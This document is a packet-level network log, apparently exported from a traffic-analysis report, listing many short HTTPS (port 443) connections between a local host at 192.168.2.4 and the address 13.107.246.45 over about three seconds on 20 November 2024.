Nov 20, 2024 07:49:12.720474005 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:12.720566988 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.720779896 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:12.720788956 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.063380957 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.064275026 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.064294100 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.064759970 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.064768076 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.166775942 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.166857958 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.166958094 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.167191029 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.167220116 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.167233944 CET	49870	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.167242050 CET	443	49870	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.170519114 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.170568943 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.170667887 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.170859098 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.170872927 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.178446054 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.178906918 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.178972006 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.179388046 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.179402113 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.192759037 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.193118095 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.193151951 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.193528891 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.193536997 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.213440895 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.216042995 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.216056108 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.216574907 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.216578960 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.279407024 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.279478073 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.279592991 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.279654980 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.279767036 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.280178070 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.280219078 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.280246973 CET	49871	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.280262947 CET	443	49871	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.283483982 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.283548117 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.283632040 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.283890963 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.283920050 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.294919014 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.295079947 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.295142889 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.295319080 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.295340061 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.295356035 CET	49872	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.295363903 CET	443	49872	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.298422098 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.298477888 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.298549891 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.298681974 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.298702002 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.327231884 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.327295065 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.327469110 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.327799082 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.327836990 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.327848911 CET	49873	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.327872038 CET	443	49873	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.330764055 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.330796957 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.330883026 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.331048012 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.331062078 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.359411955 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.360076904 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.360117912 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.360560894 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.360574007 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.459727049 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.459923029 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.459979057 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.460036039 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.460057974 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.460071087 CET	49874	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.460076094 CET	443	49874	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.463180065 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.463233948 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.463294029 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.463499069 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.463515997 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.804559946 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.805641890 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.805753946 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.806200027 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.806217909 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.904159069 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.904232025 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.904364109 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.904380083 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.904422045 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.924058914 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.924060106 CET	49875	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.924102068 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.924115896 CET	443	49875	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.927273989 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.927381992 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.927516937 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.927653074 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.927680016 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.936301947 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.936738014 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.936769962 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.937323093 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.937329054 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.964804888 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.965522051 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.965553045 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.966064930 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.966070890 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.972059011 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.972582102 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.972596884 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:13.973057032 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:13.973061085 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.036068916 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.036258936 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.036319971 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.036385059 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.036401987 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.036416054 CET	49876	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.036421061 CET	443	49876	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.039747000 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.039794922 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.039880037 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.040029049 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.040049076 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.066080093 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.066293955 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.066349030 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.066411972 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.066435099 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.066443920 CET	49877	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.066450119 CET	443	49877	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.069794893 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.069899082 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.069986105 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.070121050 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.070156097 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.072273970 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.072628975 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.072696924 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.072731018 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.072731018 CET	49878	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.072748899 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.072757959 CET	443	49878	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.075109005 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.075165033 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.075243950 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.075373888 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.075390100 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.102117062 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.102515936 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.102535963 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.102967978 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.102973938 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.203120947 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.203830004 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.203871965 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.203891993 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.203934908 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.203991890 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.204006910 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.204019070 CET	49879	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.204024076 CET	443	49879	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.207477093 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.207520962 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.207618952 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.207782984 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.207797050 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.569109917 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.571702003 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.571773052 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.572093010 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.572108984 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.668102980 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.668529987 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.668731928 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.668732882 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.668732882 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.672130108 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.672171116 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.672234058 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.672374964 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.672391891 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.678364992 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.678922892 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.678958893 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.679445028 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.679455042 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.711091042 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.711729050 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.711777925 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.711994886 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.712271929 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.712306023 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.712372065 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.712384939 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.712714911 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.712730885 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.777856112 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.778031111 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.778127909 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.778275967 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.778326035 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.778356075 CET	49881	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.778372049 CET	443	49881	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.781740904 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.781775951 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.781877995 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.782062054 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.782074928 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.811510086 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.811718941 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.811794043 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.811914921 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.811995983 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.811995983 CET	49882	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.812041044 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.812069893 CET	443	49882	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.812086105 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.812164068 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.812163115 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.812232971 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.812268972 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.812290907 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.812314034 CET	49883	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.812325954 CET	443	49883	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.815239906 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.815259933 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.815288067 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.815293074 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.815396070 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.815516949 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.815516949 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.815546989 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.815572977 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.815594912 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.871351957 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.871913910 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.871961117 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.872543097 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.872555017 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.971092939 CET	49880	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.971168995 CET	443	49880	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.974910021 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.975788116 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.975871086 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.975955963 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.975982904 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.976012945 CET	49884	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.976028919 CET	443	49884	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.979121923 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.979226112 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:14.979331970 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.979510069 CET	49889	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:14.979542017 CET	443	49889	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.312865019 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.313466072 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.313491106 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.313967943 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.313972950 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.411132097 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.411212921 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.411297083 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.411318064 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.411365032 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.411413908 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.411621094 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.411638975 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.411649942 CET	49885	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.411657095 CET	443	49885	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.414912939 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.414961100 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.415060043 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.415232897 CET	49890	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.415246964 CET	443	49890	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.420295954 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.420727015 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.420782089 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.421192884 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.421206951 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.457041025 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.457669973 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.457699060 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.458106041 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.458112955 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.496995926 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.497428894 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.497459888 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.497838020 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.497843027 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.520482063 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.520617962 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.520694017 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.520864010 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.520884991 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.520904064 CET	49886	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.520910978 CET	443	49886	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.524113894 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.524173021 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.524266005 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.524444103 CET	49891	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.524457932 CET	443	49891	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.578336954 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.578921080 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.579046965 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.579103947 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.579103947 CET	49887	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.579137087 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.579149961 CET	443	49887	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.582205057 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.582308054 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.582423925 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.582562923 CET	49892	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.582598925 CET	443	49892	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.629332066 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.629367113 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.629417896 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.629451990 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.629496098 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.629765987 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.629787922 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.629801989 CET	49888	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.629807949 CET	443	49888	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.633050919 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.633099079 CET	443	49893	13.107.246.45	192.168.2.4
Nov 20, 2024 07:49:15.633188963 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.633366108 CET	49893	443	192.168.2.4	13.107.246.45
Nov 20, 2024 07:49:15.633382082 CET	443	49893	13.107.246.45	192.168.2.4
